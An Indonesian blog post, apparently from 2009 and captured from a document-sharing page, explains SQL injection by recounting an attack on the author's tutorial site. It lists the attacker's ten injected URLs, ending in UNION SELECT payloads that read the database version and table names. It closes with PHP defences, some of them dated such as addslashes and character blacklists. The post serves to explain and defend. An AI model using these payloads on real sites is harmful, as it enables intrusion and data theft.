Anda di halaman 1dari 4

SQL Injection kaskus.

us
Post date : 2009-02-23 23:32:56
Category :News, Security

SQL Injection

Setiap orang pasti senang jika website yang dimilikinya dikenal oleh banyak orang, dan
mungkin akan lebih senang jika websitenya sudah di-index oleh google atau search
engine yang lainya. Dengan di-index-nya website anda oleh google, pengunjung website
anda akan semakin bertambah. Setiap orang yang sedang mencari kebutuhanya dengan
google, mengetikkan keyword sesuai dengan kebutuhannya. Jika website anda
berhubungan dengan keyword yang diketikkan maka website anda akan ditampilkan oleh
google. Anda pasti senang jika pengunjung website anda semakin bertambah.

Tapi perlu anda ketahui google dan search engine lainnya bisa menjadi mesin pencari
untuk membantu para hacker atau orang yang iseng dan usil untuk melakukan SQL
Injection. Mengenai apa itu SQL Injection, anda bisa meminta bantuan kepada google.
Anda tinggal masuk ke website google dan ketikkan keyword "SQL Injection" dan
google akan memberikan ribuan jawaban kepada anda.

Anda mungkin bertanya kenapa google bisa dikatakan membantu para hacker untuk
melakukan SQL injection? Analoginya adalah sebagai berikut : pada suatu ketika donal
ingin mencari sebuah tutorial PHP, donal mengakses website google dan mengetikkan
keyword "tutorial PHP". Dalam sekejap google memberikan ribuan list website dengan
content tutorial PHP. Salah satu website itu adalah
www.id.wikipedia.org/tutorial.php?id=10 (memungkinkan untuk dilakukan SQL
Injection). Melihat hal ini donal langsung teringat dengan SQL Injection, dia lupa tujuan
sebelumya mencari tutorial PHP dan langsung mengunjungi
www.id.wikipedia.org/tutorial.php?id=10 untuk melakukan SQL Injection.

Apa yang dilakukan oleh donal di atas tidak perlu anda tiru, apalagi setelah membaca
tutorial ini. Saya yakin anda adalah orang yang berbudi luhur, dan ingatlah melakukan
SQL Injection adalah perbuatan DOSA.
Wikipedia.org
Id.wikipedia.org

Untuk lebih meyakinkan anda bahwa google bisa dikatakan membantu para hacker dan
orang-orang yang iseng dan usil untuk melakukan SQL Injection, saya akan memberikan
sebuah contoh nyata kepada anda. Pada tanggal 18 februari 2009 website ini
tutorial.net63.net diserang dengan menggunakan SQL Injection. Seseorang dengan IP
address 133.subnet125-160-123.speedy.telkom.net.id (125.160.123.133) mengunjungi
google untuk mencari tutorial VB.net. Sebut saja orang ini dengan Mr. SQL Injection. Mr.
SQL Injection mengetikkan keyword "tutotrial client server dengan vb.net" pada website
google. Google memberikan ribuan hasil pencarian kepadanya, salah satunya adalah
website ini
http://tutorial.net63.net/tutorial/membuat_aplikasi_client_server_dengan_vb_dan_mysql-
pendahuluan.php. Kemudian Mr. SQL Injection mengunjungi website ini. Setelah 6 menit
membaca tutorial membuat aplikasi client server dengan vb dan mysql bagian
pendahulan di website ini, ia tertarik dengan tutorial AJAX di website ini dan
mengunjungi halaman http://tutorial.net63.net/course/index.php?course=ajax_php
selanjutnya mengunjungi halaman
http://tutorial.net63.net/course/index.php?course=ajax_php&lesson=32. Melihat URL
dari website ini Mr. SQL Injection langsung berubah pikiran, yang semula akan mencari
tutorial VB.net menjadi melakukan SQL Injection.
Pertama yang dilakukan Mr. SQL Injection adalah mengetikkan URL
http://tutorial.net63.net/course/index.php?course=ajax_php&lesson=32 and 1=0 pada
browser firefox yang digunakannya. Kemudian mengetikkan URL pada browser firefox-
nya seperti berikut :

1. http://tutorial.net63.net/course/index.php?course=ajax_php&lesson=32 and 1=1


2. http://tutorial.net63.net/course/index.php?course=ajax_php&lesson=32 order by 1--
3. http://tutorial.net63.net/course/index.php?course=ajax_php&lesson=32 order by 11--
4. http://tutorial.net63.net/course/index.php?course=ajax_php&lesson=32 order by 10--
5. http://tutorial.net63.net/course/index.php?course=ajax_php&lesson=-32 union select
1,2,3,4,5,6,7,8,9,10/*
6. http://tutorial.net63.net/course/index.php?course=ajax_php&lesson=-32 union select
1,2,3,4,5,6,7,8,9,10
7. http://tutorial.net63.net/course/index.php?course=ajax_php&lesson=-32 union select
1,2,3,4,5,6,version(),8,9,10
8. http://tutorial.net63.net/course/index.php?course=ajax_php&lesson=-32 union select
1,2,3,4,5,6,group_concat(table_name),8,9,10 from information_schema.tables where
table_schema=database()--
9. http://tutorial.net63.net/course/index.php?course=ajax_php&lesson=-32 union select
1,2,3,4,5,6,group_concat(table_name),8,9,10 from information_schema.tables where
table_schema=database()--
10. http://tutorial.net63.net/course/index.php?course=ajax_php&lesson=-32 union select
1,2,3,4,5,6,group_concat(table_name),8,9,10 from information_schema.tables where
table_schema=database()--

Ada sebelas langkah yang dilakukan oleh Mr. SQL Injection. Saya tidak tahu pasti
kenapa ada banyak langkah, apakah memang semua itu adalah prosedur untuk melakukan
SQL Injection. Yang dapat saya jelaskan adalah pada langkah no 7 adalah untuk
memperoleh versi dari MYSQL server (database) yang digunakan. Pada langkah 8,9 dan
10 adalah untuk memperoleh nama-nama tabel pada database yang digunakan. Dari
sekian langkah yang dilakukan oleh Mr. SQL Injection, ia mendapatkan versi database,
nama-nama tabel dan mungkin masih ada informasi lain yang tidak saya ketahui. Saya
yakin jika Mr. SQL Injection melakukan langkah-langkahnya yang lain maka ia bisa
mengupdate isi database atau yang paling ditakuti adalah menghapus tabel dan database
yang digunakan.
Mangatasi SQL Injection

Anda telah mengetahui bagaimana SQL Injection dan betapa berbahayanya SQL
Injection, lalu bagaimana mengatasinya? ada beberapa cara untuk mengatasinya (cara ini
jika anda menggunakan PHP sebagai bahasa pemrograman), yang pertama gunakan
function settype(), contoh:

settype($_GET['course'],'string');
settype($_GET['lesson'],'integer');
gunakan mysql_real_escape_string() untuk membentuk query yang digunakan. Saring
karakter yang masuk, jangan terima karakter seperti : ' (petik satu),--, *, koma, titik koma.
Bila perlua hanya terima karakter A-Z, a-z dan 0-9. Batasi panjang karakter yang bisa
masuk, misal anda memiliki tabel dengan field "id_course" yang bertipe varchar(20),
maka batasi karakter yang bisa masuk hanya sepanjang 20 karakter. Hal ini dilakukan
untuk mengatasi agar user tidak bisa mengetikkan query. Gunakan function addslashes()
untuk menghindari karakter-karater berbahaya yang digunakan untuk melakukan SQL
Injection. Jika anda mengirim data ke server menggunakan method GET, misalnya untuk
menampilkan tutorial seperti pada website ini, jangan pernah menerima karakter spasi,
gunakan function trim() untuk menghilangkan karakter spasi. Jangan pernah
menggunakan user root atau user dengan hak akses penuh untuk melakukan koneksi ke
database anda, gunakan user dengan hak akses yang terbatas. Untuk lebih jelasnya, anda
dapat memperoleh penjelasan yang lebih banyak di website PHP.net atau anda bisa
meminta bantuan google.

Berikut adalah screenshot dari aktivitas yang dilakukan oleh Mr. SQL Injection (click
untuk memperbesar):

Anda mungkin juga menyukai